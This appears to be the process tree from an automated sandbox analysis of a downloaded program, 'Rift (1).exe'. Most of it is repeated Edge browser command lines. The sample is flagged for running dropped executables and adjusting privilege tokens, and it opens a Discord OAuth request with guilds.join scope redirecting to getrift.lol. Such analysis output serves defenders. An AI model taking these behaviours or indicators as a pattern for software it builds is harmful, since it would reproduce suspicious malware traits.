C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --always-read-main-dll --metrics-shmem-handle=3268,i,7582749438057689230,9170171659093994051,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=8044 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8712,i,2611635306308671262,14152391131189981690,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=8592 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --always-read-main-dll --metrics-shmem-handle=8556,i,8230708986494124634,15049288412183429795,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=8724 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8000,i,13389750923290997769,17938761971572191896,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=8936 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=9044,i,8191448494451533649,3966314780527686781,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=8388 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --always-read-main-dll --metrics-shmem-handle=3316,i,11257506378715044215,1315891175053533663,2097152 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=8300 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=9048,i,17362012412966246601,2031065298404960128,524288 --field-trial-handle=2300,i,14564476450681854386,2931946483016420917,262144 --variations-seed-version --mojo-platform-channel-handle=8308 /prefetch:83⤵
-
-
C:\Users\Admin\Downloads\Rift (1).exe"C:\Users\Admin\Downloads\Rift (1).exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.com/api/oauth2/authorize?client_id=1527313012770472096&response_type=code&scope=identify%20guilds.join&redirect_uri=https%3A%2F%2Fgetrift.lol%2Fapi%2Fdiscord%2Fcallback&state=d1e69c8fc5a7d1dc60f85bb6da8e08f62a099a05539eb5644⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --edge-skip-compat-layer-relaunch --single-argument https://discord.com/api/oauth2/authorize?client_id=1527313012770472096&response_type=code&scope=identify%20guilds.join&redirect_uri=https%3A%2F%2Fgetrift.lol%2Fapi%2Fdiscord%2Fcallback&state=d1e69c8fc5a7d1dc60f85bb6da8e08f62a099a05539eb5645⤵
-
-
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\540cad130c772e4e\WMI540cad.exe"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\540cad130c772e4e\WMI540cad.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\Rift (1).exe"C:\Users\Admin\Downloads\Rift (1).exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\Downloads\Rift (1).exe"C:\Users\Admin\Downloads\Rift (1).exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.com/api/oauth2/authorize?client_id=1527313012770472096&response_type=code&scope=identify%20guilds.join&redirect_uri=https%3A%2F%2Fgetrift.lol%2Fapi%2Fdiscord%2Fcallback&state=56a03b4fbd8b314793c366670e8c91e964df63deebc27c064⤵
- Loads dropped DLL
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2e8,0x374,0x7ffd398dc188,0x7ffd398dc194,0x7ffd398dc1a05⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1736,i,11500903579536029593,3577903112375342783,262144 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1884,i,9564052177175107211,4526462504793871022,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:35⤵
- Downloads MZ/PE file
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2556,i,15246759137972068413,11994081382196282949,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=2728 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3352,i,8351716603264218878,13086222228041924184,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=3416 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3356,i,6844123840019926566,11877953709768124072,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=3472 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4916,i,14679799220170722818,4757985349593971023,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=4920 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4976,i,13667215318157197632,9115825135815014886,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=5068 /prefetch:85⤵
- Modifies registry class
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5452,i,11480365522388781293,11189751188809705605,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5444,i,1163075922143885473,2717202138861783094,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6000,i,14925691905869711117,6972783804520508273,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6268,i,16305652336535287312,14390554481111760751,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6268,i,16305652336535287312,14390554481111760751,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=6284 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6880,i,7417306252474117971,11628686817530366934,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=6852 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6812,i,13757074188154075677,5377901444016200959,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=6432 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6456,i,1031904947859061292,15082816087542165309,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7016 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6420,i,14075703994878136042,9111086421164164569,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7060 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7012,i,14451823849673748214,3342985537961581205,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7104 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7100,i,9822957770533915498,4492376844502881788,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7072 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=3396,i,10505344284390959769,12105557059500196525,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=3328 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=7220,i,3958387162378675214,11571965830815670503,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=7344,i,1236321247072874258,7640891465256491867,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7356 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2012,i,9280952735711373368,4311161097905881084,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7700 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7844,i,18263304673195117446,10284072662915488486,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7536 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6560,i,17098041846415148401,4878527892596774954,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3628,i,16018650341809734763,2903817872267506447,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7900,i,1904355431487755262,13344971731827225938,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7908 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6944,i,13037150419148672879,9001561692591446393,262144 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7844 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7844,i,15552430922789583814,848271727692221066,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7856 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=4704,i,11765111213063991474,1705033152018186788,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=7488,i,10889074952300147350,4674889037896079345,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7892 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6228,i,9942415604725319749,7492186227513030733,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8160 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7856,i,13960672667870809033,9247528439371133527,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=6888 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --metrics-shmem-handle=5360,i,2193745208752050856,10553174344860208279,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --always-read-main-dll --metrics-shmem-handle=7908,i,1052837497536042628,9614238388645463890,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8168 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --always-read-main-dll --metrics-shmem-handle=5260,i,18042912988635379822,16819032773856174736,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7840 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5592,i,2234030729833513718,2482455594357601430,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7984,i,4806966494949607706,16695425777463155097,524288 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --always-read-main-dll --metrics-shmem-handle=7312,i,13145952119680581738,337268415856292331,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=7408 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --always-read-main-dll --metrics-shmem-handle=8228,i,11728134058224971331,1828248606953149485,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8212 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --always-read-main-dll --metrics-shmem-handle=5300,i,3199706329252618556,7694102746106294507,2097152 --field-trial-handle=2256,i,14286154373241724870,17820384506378409336,262144 --variations-seed-version --mojo-platform-channel-handle=8040 /prefetch:15⤵
-
-
